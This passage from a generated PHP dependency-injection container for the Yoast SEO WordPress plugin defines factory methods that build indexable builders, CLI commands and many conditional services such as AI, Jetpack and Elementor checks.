$this->getImageHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Post_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Post_Builder */ protected function getIndexablePostBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Post_Builder($a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper()))); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); $instance->set_social_image_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder */ protected function getIndexablePostTypeArchiveBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder']; } return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_Post_Type_Archive_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), $a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_System_Page_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_System_Page_Builder */ protected function getIndexableSystemPageBuilderService() { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_System_Page_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions()))); } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Term_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Term_Builder */ protected function getIndexableTermBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Term_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), $a); $instance->set_social_image_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Primary_Term_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Primary_Term_Builder */ protected function getPrimaryTermBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder']; } return $this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] = new \Yoast\WP\SEO\Builders\Primary_Term_Builder(($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())), $a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Meta_Helper'] = new \Yoast\WP\SEO\Helpers\Meta_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Commands\Cleanup_Command' shared autowired service. * * @return \Yoast\WP\SEO\Commands\Cleanup_Command */ protected function getCleanupCommandService() { return $this->services['Yoast\\WP\\SEO\\Commands\\Cleanup_Command'] = new \Yoast\WP\SEO\Commands\Cleanup_Command(($this->services['Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration'] ?? $this->getCleanupIntegrationService())); } /** * Gets the public 'Yoast\WP\SEO\Commands\Index_Command' shared autowired service. * * @return \Yoast\WP\SEO\Commands\Index_Command */ protected function getIndexCommandService() { return $this->services['Yoast\\WP\\SEO\\Commands\\Index_Command'] = new \Yoast\WP\SEO\Commands\Index_Command(($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] ?? $this->getIndexablePostIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] ?? $this->getIndexableTermIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] ?? $this->getIndexablePostTypeArchiveIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] ?? $this->getIndexableGeneralIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] ?? $this->getIndexableIndexingCompleteActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] ?? $this->getIndexingPrepareActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] ?? $this->getTermLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\AI_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\AI_Conditional */ protected function getAIConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\AI_Conditional'] = new \Yoast\WP\SEO\Conditionals\AI_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\AI_Editor_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\AI_Editor_Conditional */ protected function getAIEditorConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\AI_Editor_Conditional'] = new \Yoast\WP\SEO\Conditionals\AI_Editor_Conditional(($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional */ protected function getAddonInstallationConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Addon_Installation_Conditional'] = new \Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional */ protected function getDoingPostQuickEditSaveConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Doing_Post_Quick_Edit_Save_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional */ protected function getEstimatedReadingTimeConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Estimated_Reading_Time_Conditional(($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional */ protected function getLicensesPageConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Licenses_Page_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional */ protected function getNonNetworkAdminConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Non_Network_Admin_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Post_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional */ protected function getPostConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Post_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional */ protected function getPostsOverviewOrAjaxConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Posts_Overview_Or_Ajax_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional */ protected function getYoastAdminConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin\Yoast_Admin_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Admin_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Admin_Conditional */ protected function getAdminConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional'] = new \Yoast\WP\SEO\Conditionals\Admin_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional */ protected function getAttachmentRedirectionsEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Attachment_Redirections_Enabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional */ protected function getCheckRequiredVersionConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional'] = new \Yoast\WP\SEO\Conditionals\Check_Required_Version_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional */ protected function getDeactivatingYoastSeoConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional'] = new \Yoast\WP\SEO\Conditionals\Deactivating_Yoast_Seo_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Development_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Development_Conditional */ protected function getDevelopmentConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Development_Conditional'] = new \Yoast\WP\SEO\Conditionals\Development_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Dynamic_Product_Permalinks_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Dynamic_Product_Permalinks_Conditional */ protected function getDynamicProductPermalinksConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Dynamic_Product_Permalinks_Conditional'] = new \Yoast\WP\SEO\Conditionals\Dynamic_Product_Permalinks_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Front_End_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Front_End_Conditional */ protected function getFrontEndConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] = new \Yoast\WP\SEO\Conditionals\Front_End_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Get_Request_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Get_Request_Conditional */ protected function getGetRequestConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] = new \Yoast\WP\SEO\Conditionals\Get_Request_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional * * @deprecated Since Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional 26.7: Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional is deprecated since version 26.7! */ protected function getGoogleSiteKitFeatureConditionalService() { trigger_deprecation('Yoast\\WP\\SEO\\Conditionals\\Google_Site_Kit_Feature_Conditional', '26.7', 'Yoast\\WP\\SEO\\Conditionals\\Google_Site_Kit_Feature_Conditional is deprecated since version 26.7!'); return $this->services['Yoast\\WP\\SEO\\Conditionals\\Google_Site_Kit_Feature_Conditional'] = new \Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional */ protected function getHeadlessRestEndpointsEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Headless_Rest_Endpoints_Enabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional */ protected function getImportToolSelectedConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional'] = new \Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Jetpack_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Jetpack_Conditional */ protected function getJetpackConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional'] = new \Yoast\WP\SEO\Conditionals\Jetpack_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Migrations_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Migrations_Conditional */ protected function getMigrationsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional'] = new \Yoast\WP\SEO\Conditionals\Migrations_Conditional(($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] ?? ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional */ protected function getNewSettingsUiConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional'] = new \Yoast\WP\SEO\Conditionals\New_Settings_Ui_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\News_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\News_Conditional */ protected function getNewsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\News_Conditional'] = new \Yoast\WP\SEO\Conditionals\News_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional */ protected function getNoToolSelectedConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional'] = new \Yoast\WP\SEO\Conditionals\No_Tool_Selected_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional */ protected function getNonMultisiteConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional'] = new \Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional */ protected function getNotAdminAjaxConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional'] = new \Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Open_Graph_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Open_Graph_Conditional */ protected function getOpenGraphConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional'] = new \Yoast\WP\SEO\Conditionals\Open_Graph_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Premium_Active_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Premium_Active_Conditional */ protected function getPremiumActiveConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional'] = new \Yoast\WP\SEO\Conditionals\Premium_Active_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional */ protected function getPremiumInactiveConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional'] = new \Yoast\WP\SEO\Conditionals\Premium_Inactive_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Primary_Category_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Primary_Category_Conditional */ protected function getPrimaryCategoryConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional'] = new \Yoast\WP\SEO\Conditionals\Primary_Category_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional */ protected function getRobotsTxtConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional'] = new \Yoast\WP\SEO\Conditionals\Robots_Txt_Conditional(($this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional'] = new \Yoast\WP\SEO\Conditionals\Front_End_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional */ protected function getSEMrushEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\SEMrush_Enabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Schema_Disabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Schema_Disabled_Conditional */ protected function getSchemaDisabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Schema_Disabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Schema_Disabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Settings_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Settings_Conditional */ protected function getSettingsConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional'] = new \Yoast\WP\SEO\Conditionals\Settings_Conditional(($this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional'] = new \Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional */ protected function getShouldIndexLinksConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional'] = new \Yoast\WP\SEO\Conditionals\Should_Index_Links_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Task_List_Enabled_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Task_List_Enabled_Conditional */ protected function getTaskListEnabledConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Task_List_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\Task_List_Enabled_Conditional(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Text_Formality_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional */ protected function getTextFormalityConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional'] = new \Yoast\WP\SEO\Conditionals\Text_Formality_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\EDD_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\EDD_Conditional */ protected function getEDDConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\EDD_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\EDD_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional */ protected function getElementorActivatedConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Activated_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional */ protected function getElementorEditConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Elementor_Edit_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional */ protected function getPolylangConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Polylang_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\Site_Kit_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\Site_Kit_Conditional */ protected function getSiteKitConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Site_Kit_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\Site_Kit_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional */ protected function getTranslatePressConditionalService() { return $this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\TranslatePress_Conditional(); } /** * Gets the public 'Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional' shared autowired service. * * @return \Yoast\WP\SEO\Conditionals\Third_Party\W3_Total_Cache_Conditional */ protected function getW3TotalCacheConditionalService() { return 